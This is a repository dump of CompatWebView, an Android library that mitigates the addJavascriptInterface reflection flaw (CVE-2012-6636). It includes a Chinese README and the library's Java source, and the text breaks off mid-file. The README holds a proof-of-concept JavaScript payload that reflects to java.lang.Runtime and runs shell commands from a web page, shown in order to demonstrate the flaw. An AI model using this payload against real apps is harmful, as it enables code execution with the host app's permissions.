├── .gitignore ├── README.md ├── build.gradle ├── compat-webview ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ └── java │ └── com │ └── sw │ └── compat │ └── webview │ ├── CompatWebView.java │ └── CompatWebViewClient.java ├── example ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── assets │ ├── web_compat.html │ ├── web_inject.html │ └── web_js_android.html │ ├── java │ └── com │ │ └── sw │ │ └── bridge │ │ ├── CommunicateWebViewActivity.java │ │ ├── CompatWebViewActivity.java │ │ ├── InjectWebViewActivity.java │ │ ├── MyApp.java │ │ └── Util.java │ └── res │ ├── drawable-v24 │ └── ic_launcher_foreground.xml │ ├── drawable │ └── ic_launcher_background.xml │ ├── layout │ ├── activity_webview_compat_layout.xml │ └── activity_webview_layout.xml │ ├── mipmap-anydpi-v26 │ ├── ic_launcher.xml │ └── ic_launcher_round.xml │ ├── mipmap-hdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-mdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ └── values │ └── strings.xml ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── tools.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/workspace.xml 5 | /.idea/libraries 6 | .DS_Store 7 | /build 8 | /captures 9 | .externalNativeBuild 10 | .idea 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CompatWebView 2 | ------------- 3 | 4 | CompatWebView是为了解决WebView的JavaScriptInterface注入漏洞 5 | - [漏洞介绍:CVE-2012-6636](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636) [CVE-2013-4710](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710) 6 | - [官方说明:addJavaScriptInterface](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface) 7 | - This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2. The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, **JavaScript could use reflection to access an injected object's public fields.** Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content. 8 | 9 | - 在Android的api小于17(android4.2)调用addJavaScriptInterface注入java对象会有安全风险,可以通过js注入反射调用到Java层的方法,造成安全隐患。[漏洞验证案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/InjectWebViewActivity.java) 10 | 11 | - CompatWebView的解决方案:在大于等于android4.2中延用addJavaScriptInterface,在小于android4.2中采用另外的通道与js进行交互,同时保持api调用的一致性, 12 | CompatWebView做到了对客户端开发透明,复用了原来addJavaScriptInterface的api,对前端开发也是透明的,前端不用写两套交互方式。 13 | 14 | 15 | 16 | 17 | How to use 18 | ----------- 19 | [使用案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/CompatWebViewActivity.java) 20 | - 1、添加依赖 21 | ```groovy 22 | implementation 'com.sw.compat.webview:compat-webview:1.0.0' 23 | ``` 24 | - 2、用CompatWebView替换原来的WebView,在需要调用addJavaScriptInterface()的地方替换成方法compatAddJavascriptInterface() 25 | ```java 26 | webView.compatAddJavascriptInterface(new JInterface(), "JInterface"); 27 | ``` 28 | - 3、如果需要自定义WebViewClient的话,必须继承自CompatWebViewClient来替换原来的WebViewClient,如果不自定义的话可以省掉此步骤 29 | ```java 30 | webView.setWebViewClient(new CompatWebViewClient(){ 31 | 32 | }); 33 | ``` 34 | 35 | 36 | 37 | 38 | 漏洞验证案例 39 | ----------- 40 | 下面验证一下addJavaScriptInterface漏洞,详细代码见[漏洞验证案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/InjectWebViewActivity.java) 41 | - 1、先定义一个JavascriptInterface 42 | ```java 43 | public class JInterface { 44 | @JavascriptInterface 45 | public void testJsCallJava(String msg, int i) { 46 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 47 | } 48 | } 49 | ``` 50 | - 2、再将Interface通过addJavaScriptInterface添加到WebView 51 | ```java 52 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 53 | ``` 54 | - 3、然后我们看看在Javascript中就可以通过查找window属性中的JInterface对象,然后反射执行一些攻击了,例如下面的例子通过反射Android中的Runtime类在应用中执行shell脚本。 55 | ```javascript 56 | function testInjectBug(){ 57 | var p = execute(["ls","/"]); 58 | console.log(convertStreamToString(p.getInputStream())); 59 | } 60 | function execute(cmdArgs) { 61 | for (var obj in window) { 62 | if ("getClass" in window[obj]) { 63 | console.log("find:"+obj); 64 | return window[obj].getClass().forName("java.lang.Runtime"). 65 | getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 66 | } 67 | } 68 | } 69 | function convertStreamToString(inputStream) { 70 | var result = ""; 71 | var i = inputStream.read(); 72 | while(i != -1) { 73 | var tmp = String.fromCharCode(i); 74 | result += tmp; 75 | i = inputStream.read(); 76 | } 77 | return result; 78 | } 79 | ``` 80 | 81 | 82 | 83 | 84 | JavaScript与Android通信 85 | ---------------------- 86 | 在介绍CompatWebView原理之前,先总结一下Javascript与Android的通信方式 87 | ### JavaScript调用Android通信方式总结 88 | 总的来说JavaScript与Android native通信的方式有**三大类**:[使用案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/CommunicateWebViewActivity.java) 89 | - **通过JavaScriptInterface注入java对象** 90 | - Android端注入 91 | ```java 92 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 93 | 94 | private static class JInterface { 95 | @JavascriptInterface 96 | public void testJsCallJava(String msg, int i) { 97 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 98 | } 99 | } 100 | ``` 101 | - JS端调用 102 | ```javascript 103 | JInterface.testJsCallJava("hello", 666) 104 | ``` 105 | - **通过WebViewClient,实现shouldOverrideUrlLoading** 106 | - Android端WebViewClient,复写shouldOverrideUrlLoading 107 | ```java 108 | webView.setWebViewClient(new WebViewClient() { 109 | @Override 110 | public boolean shouldOverrideUrlLoading(WebView view, String url) { 111 | try { 112 | url = URLDecoder.decode(url, "UTF-8"); 113 | } catch (UnsupportedEncodingException e) { 114 | e.printStackTrace(); 115 | } 116 | if (url.startsWith(SCHEME)) { 117 | Toast.makeText(CommunicateWebViewActivity.this, url, Toast.LENGTH_SHORT).show(); 118 | return true; 119 | } 120 | return super.shouldOverrideUrlLoading(view, url); 121 | } 122 | } 123 | ``` 124 | - JS端调用 125 | ```javascript 126 | document.location = "jtscheme://hello" 127 | window.location.href = "jtscheme://hello" 128 | ``` 129 | - 或者通过H5标签 130 | ```html 131 | ShouldOverrideUrlLoading 132 | 133 | ``` 134 | - **通过WebChromeClient,这种有四种方式prompt(提示框)、alert(警告框)、confirm(确认框)、console(log控制台)** 135 | - Android端实现WebChromeClient 136 | ```java 137 | webView.setWebChromeClient(new WebChromeClient() { 138 | @Override 139 | public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { 140 | Uri uri = Uri.parse(message); 141 | if (SCHEME.equals(uri.getScheme())) { 142 | String authority = uri.getAuthority(); 143 | Set params = uri.getQueryParameterNames(); 144 | for (String s : params) { 145 | Log.i("COMPAT_WEB", s + ":" + uri.getQueryParameter(s)); 146 | } 147 | Toast.makeText(MyApp.application, "Prompt::" + authority, Toast.LENGTH_SHORT).show(); 148 | } 149 | return super.onJsPrompt(view, url, message, defaultValue, result); 150 | } 151 | 152 | @Override 153 | public boolean onJsAlert(WebView view, String url, String message, JsResult result) { 154 | Toast.makeText(MyApp.application, "Alert::" + message, Toast.LENGTH_SHORT).show(); 155 | return super.onJsAlert(view, url, message, result); 156 | } 157 | 158 | @Override 159 | public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { 160 | Toast.makeText(MyApp.application, "Confirm::" + message, Toast.LENGTH_SHORT).show(); 161 | return super.onJsConfirm(view, url, message, result); 162 | } 163 | 164 | @Override 165 | public boolean onConsoleMessage(ConsoleMessage consoleMessage) { 166 | Toast.makeText(MyApp.application, "Console::" + consoleMessage.message(), Toast.LENGTH_SHORT).show(); 167 | return super.onConsoleMessage(consoleMessage); 168 | } 169 | }); 170 | ``` 171 | - JS端调用 172 | ```javascript 173 | console.log("say hello by console"); 174 | 175 | alert("say hello by alert"); 176 | 177 | confirm("say hello by confirm"); 178 | 179 | window.prompt("jtscheme://hello?a=1&b=hi"); 180 | ``` 181 | - **总结:Javascript想通知Android的native层,除了JavascriptInterface以外,一般采用shouldOverrideUrlLoading和onJsPrompt这两种方式,console、alert和confirm这三个方法在Javascript中较常用不太适合。** 182 | 183 | 184 | ### Android调用JavaScript通信方式总结 185 | Android native与JavaScript通信的方式有**两种:loadUrl()和evaluateJavascript()** 186 | ```java 187 | webView.loadUrl("javascript:" + javascript); 188 | webView.evaluateJavascript(javascript, null); 189 | ``` 190 | - evaluateJavascript(String script, ValueCallback resultCallback) 191 | - Asynchronously evaluates JavaScript in the context of the currently displayed page.[官方说明](https://developer.android.com/reference/android/webkit/WebView.html#evaluateJavascript%28java.lang.String,%20android.webkit.ValueCallback%3Cjava.lang.String%3E%29) 192 | - 建议loadUrl()在低于18的版本中使用,在大于等于19版本中,应该使用evaluateJavascript(),如下面的例子所示[官方迁移说明](https://developer.android.com/guide/webapps/migrating.html) 193 | ```java 194 | public void compatEvaluateJavascript(String javascript) { 195 | if (Build.VERSION.SDK_INT <= 18) { 196 | loadUrl("javascript:" + javascript); 197 | } else { 198 | evaluateJavascript(javascript, null); 199 | } 200 | } 201 | ``` 202 | 203 | 204 | 205 | CompatWebView通信流程 206 | -------------------- 207 | CompatWebView在api17及其以上延用了在addJavaScriptInterface,在小于api17中采用另外的通道与js进行交互,通过shouldOverrideUrlLoading通道来让js层通知到Android,通信流程如下: 208 | - 1.Android层添加注入对象时调用compatAddJavaScriptInterface来添加JavaScriptInterface 209 | - 2.在compatAddJavaScriptInterface中会去判断sdk的等级,大于等于17走原有的通道,小于17会先把该对象存起来 210 | - 3.在网页加载完的时候,即onPageFinished回调中去解析上个步骤存起来的对象,把该对象和所有需要注入的方法解析出来,组织成为一段注入的js语句,类似如下: 211 | ```javascript 212 | window.JInterface = {}; 213 | window.JInterface.testJsCallJava = function(param0,param1){ 214 | schemeEncode = encodeURIComponent("JInterface?fun=testJsCallJava¶m0="+param0+"¶m1="+param1); 215 | window.location.href ="compatscheme://"+schemeEncode; 216 | }; 217 | ``` 218 | - 4.将上面的js调用webView.loadUrl()注入到网页中 219 | - 5.前端在需要调用的地方跟之前一样去调用 220 | ```javascript 221 | JInterface.testJsCallJava("jsCallJava success", 20) 222 | ``` 223 | - 6.执行上面的js后Android端在shouldOverrideUrlLoading通道就会收到scheme,从scheme中解析出对象和对应的方法,然后再反射调用对应的方法就完成了本次通信 224 | 225 | 226 | CompatWebView代码分析 227 | -------------------- 228 | - 1.CompatWebView通过compatAddJavascriptInterface添加Interface对象,sdk版本大于等于17调用原生WebView的addJavascriptInterface,小于17的会把对象和对象名存在HashMap中 229 | ```java 230 | public void compatAddJavascriptInterface(Object object, String name) { 231 | if (Build.VERSION.SDK_INT >= 17) { 232 | addJavascriptInterface(object, name); 233 | } else { 234 | injectHashMap.put(name, object); 235 | } 236 | } 237 | ``` 238 | - 2.在网页加载完毕的时候会回答CompatWebViewClient中的onPageFinished方法,在方法中会判断如果sdk版本低于17会将调用CompatWebView的onPageFinished 239 | ```java 240 | @Override 241 | public void onPageFinished(WebView view, String url) { 242 | super.onPageFinished(view, url); 243 | if (Build.VERSION.SDK_INT < 17) { 244 | if (view instanceof CompatWebView) { 245 | ((CompatWebView) view).onPageFinished(); 246 | } 247 | } 248 | } 249 | ``` 250 | - 3.在onPageFinished中会遍历第一步中存入的HashMap对象,调用injectJsInterfaceForCompat来根据对象和对象名注入js 251 | ```java 252 | void onPageFinished() { 253 | for (String name : injectHashMap.keySet()) { 254 | Object object = injectHashMap.get(name); 255 | injectJsInterfaceForCompat(object, name); 256 | } 257 | } 258 | ``` 259 | - 4.injectJsInterfaceForCompat会根据对象实例反射出需要注入的对象以及该对象需要注入的方法,拼接出一段Js代码,然后调用loadUrl将Js注入到WebView中以供前端调用 260 | ```java 261 | private void injectJsInterfaceForCompat(Object object, String name) { 262 | Class clazz = object.getClass(); 263 | Method[] methods = clazz.getMethods(); 264 | if (methods == null) { 265 | return; 266 | } 267 | StringBuilder sb = new StringBuilder("window.").append(name).append(" = {};"); 268 | for (Method method : methods) { 269 | if (!checkMethodValid(method)) { 270 | continue; 271 | } 272 | sb.append("window.").append(name).append("."); 273 | sb.append(method.getName()).append(" = function("); 274 | Class>[] parameterTypes = method.getParameterTypes(); 275 | int paramSize = parameterTypes.length; 276 | List paramList = new ArrayList<>(); 277 | for (int i = 0; i < paramSize; i++) { 278 | String tmp = "param" + i; 279 | sb.append(tmp); 280 | paramList.add(tmp); 281 | if (i < (paramSize - 1)) { 282 | sb.append(","); 283 | } 284 | } 285 | sb.append("){schemeEncode = encodeURIComponent(\"").append(name).append("?fun=").append(method.getName()); 286 | if (paramList.size() == 0) { 287 | sb.append("\""); 288 | } else { 289 | for (int i = 0; i < paramList.size(); i++) { 290 | sb.append("&").append(paramList.get(i)).append("=\"+").append(paramList.get(i)); 291 | if (i < (paramSize - 1)) { 292 | sb.append("+\""); 293 | } 294 | } 295 | } 296 | 297 | sb.append("); window.location.href =\"").append(scheme).append("://\"").append("+schemeEncode;};"); 298 | } 299 | compatEvaluateJavascript(sb.toString()); 300 | } 301 | ``` 302 | 上面的Java代码拼接出来的Js串类似如下所示,目的是注入一个JInterface对象以及JInterface对象的testJsCallJava方法,在testJsCallJava方法中有一个与java中的testJsCallJava方法映射的scheme 303 | ```javascript 304 | window.JInterface = {}; 305 | window.JInterface.testJsCallJava = function(param0,param1){ 306 | schemeEncode = encodeURIComponent("JInterface?fun=testJsCallJava¶m0="+param0+"¶m1="+param1); 307 | window.location.href ="compatscheme://"+schemeEncode; 308 | }; 309 | ``` 310 | - 5.完成上面的步骤后,Javascript端就可以像之前addJavascriptInterface一样的通过对象调用java方法了 311 | ```javascript 312 | function testJsCallJava(){ 313 | JInterface.testJsCallJava("jsCallJava success", 20) 314 | } 315 | ``` 316 | - 6.js端调用了上面的函数后,在Android端的shouldOverrideUrlLoading通道就会收到scheme,在CompatWebViewClient中会收到回调,然后转发给CompatWebView 317 | ```java 318 | @Override 319 | public boolean shouldOverrideUrlLoading(WebView view, String url) { 320 | if (Build.VERSION.SDK_INT < 17) { 321 | if (view instanceof CompatWebView) { 322 | if (((CompatWebView) view).shouldOverrideUrlLoading(url)) { 323 | return true; 324 | } 325 | } 326 | } 327 | return super.shouldOverrideUrlLoading(view, url); 328 | } 329 | ``` 330 | - 7.在CompatWebView中会根据url解析出需要反射调用的对象以及对应的方法,然后反射执行该方法,这样就完成了sdk低于17的通信流程 331 | ```java 332 | boolean shouldOverrideUrlLoading(String url) { 333 | try { 334 | String urlDecode = URLDecoder.decode(url, "UTF-8"); 335 | if (urlDecode.startsWith(scheme)) { 336 | JavaMethod javaMethod = decodeMethodFromUri(urlDecode); 337 | if (javaMethod == null) { 338 | return false; 339 | } 340 | return javaMethod.invoke(injectHashMap); 341 | } 342 | } catch (UnsupportedEncodingException e) { 343 | e.printStackTrace(); 344 | } 345 | return false; 346 | } 347 | private JavaMethod decodeMethodFromUri(String url) { 348 | if (url == null) { 349 | return null; 350 | } 351 | Uri decodeUri = Uri.parse(url); 352 | String dScheme = decodeUri.getScheme(); 353 | String authority = decodeUri.getAuthority(); 354 | Set params = decodeUri.getQueryParameterNames(); 355 | if (!scheme.equals(dScheme) || authority == null || !params.contains("fun")) { 356 | return null; 357 | } 358 | JavaMethod javaMethod = new JavaMethod(); 359 | javaMethod.object = authority; 360 | javaMethod.methodName = decodeUri.getQueryParameter("fun"); 361 | for (String name : params) { 362 | if ("fun".equals(name)) { 363 | continue; 364 | } 365 | javaMethod.params.put(name, decodeUri.getQueryParameter(name)); 366 | } 367 | return javaMethod; 368 | } 369 | 370 | ``` 371 | 372 | 373 | 其他WebView漏洞 374 | -------------- 375 | 376 | - [CVE-2014-1939](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939) 377 | - [CVE-2014-7224](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224) 378 | - [CNTA-2018-0005](http://www.cnvd.org.cn/webinfo/show/4365) setAllowFileAccessFromFileURLs setAllowUniversalAccessFromFileURLs 379 | - 解决方案是在WebView中移除注入的对象,如下所示(CompatWebView中已移除),同时,setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs要设置为false或者加白名单。 380 | ```java 381 | removeJavascriptInterface("searchBoxJavaBridge_"); 382 | removeJavascriptInterface("accessibility"); 383 | removeJavascriptInterface("accessibilityTraversal"); 384 | ``` -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | 5 | repositories { 6 | google() 7 | jcenter() 8 | } 9 | dependencies { 10 | classpath 'com.android.tools.build:gradle:3.0.1' 11 | classpath 'com.novoda:bintray-release:0.6.1' 12 | 13 | // NOTE: Do not place your application dependencies here; they belong 14 | // in the individual module build.gradle files 15 | } 16 | } 17 | 18 | allprojects { 19 | repositories { 20 | google() 21 | jcenter() 22 | } 23 | } 24 | 25 | task clean(type: Delete) { 26 | delete rootProject.buildDir 27 | } 28 | -------------------------------------------------------------------------------- /compat-webview/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /compat-webview/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.library' 2 | apply plugin: 'com.novoda.bintray-release' 3 | 4 | android { 5 | compileSdkVersion 26 6 | 7 | 8 | 9 | defaultConfig { 10 | minSdkVersion 10 11 | targetSdkVersion 26 12 | versionCode 1 13 | versionName "1.0" 14 | } 15 | 16 | buildTypes { 17 | release { 18 | minifyEnabled false 19 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 20 | } 21 | } 22 | 23 | } 24 | 25 | dependencies { 26 | implementation fileTree(dir: 'libs', include: ['*.jar']) 27 | } 28 | 29 | publish { 30 | userOrg = 'heimashi' 31 | groupId = 'com.sw.compat.webview' 32 | artifactId = 'compat-webview' 33 | publishVersion = '1.0.0' 34 | desc = 'Compatible WebView for addJavascriptInterface below Android 4.2' 35 | website = 'https://github.com/heimashi/CompatWebView' 36 | } 37 | -------------------------------------------------------------------------------- /compat-webview/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /compat-webview/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 3 | -------------------------------------------------------------------------------- /compat-webview/src/main/java/com/sw/compat/webview/CompatWebView.java: -------------------------------------------------------------------------------- 1 | package com.sw.compat.webview; 2 | 3 | 4 | import android.annotation.SuppressLint; 5 | import android.content.Context; 6 | import android.net.Uri; 7 | import android.os.Build; 8 | import android.text.TextUtils; 9 | import android.util.AttributeSet; 10 | import android.webkit.WebView; 11 | 12 | import java.io.UnsupportedEncodingException; 13 | import java.lang.annotation.Annotation; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Method; 16 | import java.net.URLDecoder; 17 | import java.util.ArrayList; 18 | import java.util.HashMap; 19 | import java.util.LinkedHashMap; 20 | import java.util.List; 21 | import java.util.Set; 22 | import java.util.regex.Pattern; 23 | 24 | /** 25 | * Compatible WebView for addJavascriptInterface below Android 4.2 26 | * 27 | * @author shiwang 28 | */ 29 | public class CompatWebView extends WebView { 30 | 31 | private static final String DEFAULT_SCHEME = "CompatScheme"; 32 | private static final String JAVASCRIPT_ANNOTATION = "@android.webkit.JavascriptInterface()"; 33 | private String scheme; 34 | private HashMap injectHashMap = new HashMap<>(); 35 | 36 | public CompatWebView(Context context) { 37 | this(context, null); 38 | } 39 | 40 | public CompatWebView(Context context, AttributeSet attrs) { 41 | super(context, attrs); 42 | init(); 43 | } 44 | 45 | private void init() { 46 | scheme = DEFAULT_SCHEME.toLowerCase(); 47 | removeJavascriptInterface("searchBoxJavaBridge_"); 48 | removeJavascriptInterface("accessibility"); 49 | removeJavascriptInterface("accessibilityTraversal"); 50 | setWebViewClient(new CompatWebViewClient()); 51 | } 52 | 53 | /** 54 | * 设置新的scheme,默认的scheme名是CompatScheme 55 | * 56 | * @param scheme scheme名 57 | **/ 58 | public void setScheme(String scheme) { 59 | if (TextUtils.isEmpty(scheme)) { 60 | return; 61 | } 62 | this.scheme = scheme.toLowerCase(); 63 | } 64 | 65 | /** 66 | * 获取当前的scheme,默认的scheme名是CompatScheme 67 | * 68 | * @return String 当前的scheme名 69 | **/ 70 | public String getScheme() { 71 | return scheme; 72 | } 73 | 74 | /** 75 | * 从native调用javascript,api18以下执行loadUrl,以上的执行evaluateJavascript,更加高效 76 | * 77 | * @param javascript javascript代码 78 | **/ 79 | public void compatEvaluateJavascript(String javascript) { 80 | if (Build.VERSION.SDK_INT <= 18) { 81 | loadUrl("javascript:" + javascript); 82 | } else { 83 | evaluateJavascript(javascript, null); 84 | } 85 | } 86 | 87 | /** 88 | * 从js端调用java方法,api17以下有安全漏洞,参考https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636 89 | * compatAddJavascriptInterface兼容性的解决了安全问题,17及之上沿用原api,17之下走封装的通道 90 | * 91 | * @param object the Java object to inject into this WebView's JavaScript 92 | * context. Null values are ignored. 93 | * @param name the name used to expose the object in JavaScript 94 | **/ 95 | @SuppressLint({"JavascriptInterface", "AddJavascriptInterface"}) 96 | public void compatAddJavascriptInterface(Object object, String name) { 97 | if (Build.VERSION.SDK_INT >= 17) { 98 | addJavascriptInterface(object, name); 99 | } else { 100 | injectHashMap.put(name, object); 101 | } 102 | } 103 | 104 | private void injectJsInterfaceForCompat(Object object, String name) { 105 | Class clazz = object.getClass(); 106 | Method[] methods = clazz.getMethods(); 107 | if (methods == null) { 108 | return; 109 | } 110 | StringBuilder sb = new StringBuilder("window.").append(name).append(" = {};"); 111 | for (Method method : methods) { 112 | if (!checkMethodValid(method)) { 113 | continue; 114 | } 115 | sb.append("window.").append(name).append("."); 116 | sb.append(method.getName()).append(" = function("); 117 | Class>[] parameterTypes = method.getParameterTypes(); 118 | int paramSize = parameterTypes.length; 119 | List paramList = new ArrayList<>(); 120 | for (int i = 0; i < paramSize; i++) { 121 | String tmp = "param" + i; 122 | sb.append(tmp); 123 | paramList.add(tmp); 124 | if (i < (paramSize - 1)) { 125 | sb.append(","); 126 | } 127 | } 128 | sb.append("){schemeEncode = encodeURIComponent(\"").append(name).append("?fun=").append(method.getName()); 129 | if (paramList.size() == 0) { 130 | sb.append("\""); 131 | } else { 132 | for (int i = 0; i < paramList.size(); i++) { 133 | sb.append("&").append(paramList.get(i)).append("=\"+").append(paramList.get(i)); 134 | if (i < (paramSize - 1)) { 135 | sb.append("+\""); 136 | } 137 | } 138 | } 139 | 140 | sb.append("); window.location.href =\"").append(scheme).append("://\"").append("+schemeEncode;};"); 141 | } 142 | compatEvaluateJavascript(sb.toString()); 143 | } 144 | 145 | private static boolean checkMethodValid(Method method) { 146 | Annotation[] annotations = method.getAnnotations(); 147 | if (annotations != null) { 148 | for (Annotation annotation : annotations) { 149 | if (JAVASCRIPT_ANNOTATION.equals(annotation.toString())) { 150 | return true; 151 | } 152 | } 153 | } 154 | return false; 155 | } 156 | 157 | boolean shouldOverrideUrlLoading(String url) { 158 | try { 159 | String urlDecode = URLDecoder.decode(url, "UTF-8"); 160 | if (urlDecode.startsWith(scheme)) { 161 | JavaMethod javaMethod = decodeMethodFromUri(urlDecode); 162 | if (javaMethod == null) { 163 | return false; 164 | } 165 | return javaMethod.invoke(injectHashMap); 166 | } 167 | } catch (UnsupportedEncodingException e) { 168 | e.printStackTrace(); 169 | } 170 | return false; 171 | } 172 | 173 | void onPageFinished() { 174 | for (String name : injectHashMap.keySet()) { 175 | Object object = injectHashMap.get(name); 176 | injectJsInterfaceForCompat(object, name); 177 | } 178 | } 179 | 180 | private JavaMethod decodeMethodFromUri(String url) { 181 | if (url == null) { 182 | return null; 183 | } 184 | Uri decodeUri = Uri.parse(url); 185 | String dScheme = decodeUri.getScheme(); 186 | String authority = decodeUri.getAuthority(); 187 | Set params = decodeUri.getQueryParameterNames(); 188 | if (!scheme.equals(dScheme) || authority == null || !params.contains("fun")) { 189 | return null; 190 | } 191 | JavaMethod javaMethod = new JavaMethod(); 192 | javaMethod.object = authority; 193 | javaMethod.methodName = decodeUri.getQueryParameter("fun"); 194 | for (String name : params) { 195 | if ("fun".equals(name)) { 196 | continue; 197 | } 198 | javaMethod.params.put(name, decodeUri.getQueryParameter(name)); 199 | } 200 | return javaMethod; 201 | } 202 | 203 | private static class JavaMethod { 204 | 205 | String object; 206 | String methodName; 207 | LinkedHashMap params = new LinkedHashMap<>(); 208 | private boolean isFindMethod = false; 209 | 210 | private List> getParamTypes(String obj) { 211 | List> allTypes = new ArrayList<>(); 212 | allTypes.add(String.class); 213 | if (TextUtils.isDigitsOnly(obj)) { 214 | allTypes.add(int.class); 215 | allTypes.add(long.class); 216 | allTypes.add(short.class); 217 | allTypes.add(float.class); 218 | allTypes.add(double.class); 219 | } else if (isFloatOrDouble(obj)) { 220 | allTypes.add(float.class); 221 | allTypes.add(double.class); 222 | } else if (obj.length() == 1) { 223 | allTypes.add(char.class); 224 | } 225 | return allTypes; 226 | } 227 | 228 | private boolean isFloatOrDouble(String str) { 229 | if (null == str || "".equals(str)) { 230 | return false; 231 | } 232 | Pattern pattern = Pattern.compile("^[-\\+]?[.\\d]*$"); 233 | return pattern.matcher(str).matches(); 234 | } 235 | 236 | private Object convertByType(String obj, Class> type) { 237 | if (type == String.class) { 238 | return obj; 239 | } else if (type == int.class) { 240 | return Integer.parseInt(obj); 241 | } else if (type == long.class) { 242 | return Long.parseLong(obj); 243 | } else if (type == short.class) { 244 | return Short.parseShort(obj); 245 | } else if (type == float.class) { 246 | return Float.parseFloat(obj); 247 | } else if (type == double.class) { 248 | return Double.parseDouble(obj); 249 | } else if (type == char.class && obj != null && obj.length() == 1) { 250 | return obj.charAt(0); 251 | } 252 | return obj; 253 | } 254 | 255 | boolean invoke(HashMap injectHashMap) { 256 | Class>[] paramType = new Class[params.size()]; 257 | Object[] paramObj = new Object[params.size()]; 258 | dfs(injectHashMap, 0, paramType, paramObj); 259 | return isFindMethod; 260 | } 261 | 262 | 263 | private void dfs(HashMap injectHashMap, int index, Class>[] paramType, Object[] paramObj) { 264 | if (isFindMethod) { 265 | return; 266 | } 267 | if (index == params.size()) { 268 | tryToInvoke(injectHashMap, paramType, paramObj); 269 | return; 270 | } 271 | String key = (String) params.keySet().toArray()[index]; 272 | List> keyTypes = getParamTypes(params.get(key)); 273 | for (int i = 0; i < keyTypes.size(); i++) { 274 | paramType[index] = keyTypes.get(i); 275 | paramObj[index] = convertByType(params.get(key), keyTypes.get(i)); 276 | dfs(injectHashMap, index + 1, paramType, paramObj); 277 | } 278 | } 279 | 280 | 281 | private void tryToInvoke(HashMap injectHashMap, Class>[] paramType, Object[] paramObj) { 282 | Object injectInstance = injectHashMap.get(object); 283 | if (injectInstance == null) { 284 | return; 285 | } 286 | Class> clazz = injectInstance.getClass(); 287 | try { 288 | Method method = clazz.getMethod(methodName, paramType); 289 | if (checkMethodValid(method)) { 290 | method.setAccessible(true); 291 | method.invoke(injectInstance, paramObj); 292 | isFindMethod = true; 293 | } 294 | } catch (IllegalAccessException e) { 295 | e.printStackTrace(); 296 | } catch (InvocationTargetException e) { 297 | e.printStackTrace(); 298 | } catch (NoSuchMethodException e) { 299 | //do nothing; 300 | } 301 | } 302 | 303 | @Override 304 | public String toString() { 305 | return "JavaMethod{" + 306 | "object='" + object + '\'' + 307 | ", methodName='" + methodName + '\'' + 308 | ", params=" + params + 309 | '}'; 310 | } 311 | 312 | } 313 | 314 | 315 | } 316 | -------------------------------------------------------------------------------- /compat-webview/src/main/java/com/sw/compat/webview/CompatWebViewClient.java: -------------------------------------------------------------------------------- 1 | package com.sw.compat.webview; 2 | 3 | 4 | import android.os.Build; 5 | import android.webkit.WebView; 6 | import android.webkit.WebViewClient; 7 | 8 | /** 9 | * CompatWebViewClient用于将低于api17的消息转发给CompatWebView 10 | * 11 | * @author shiwang 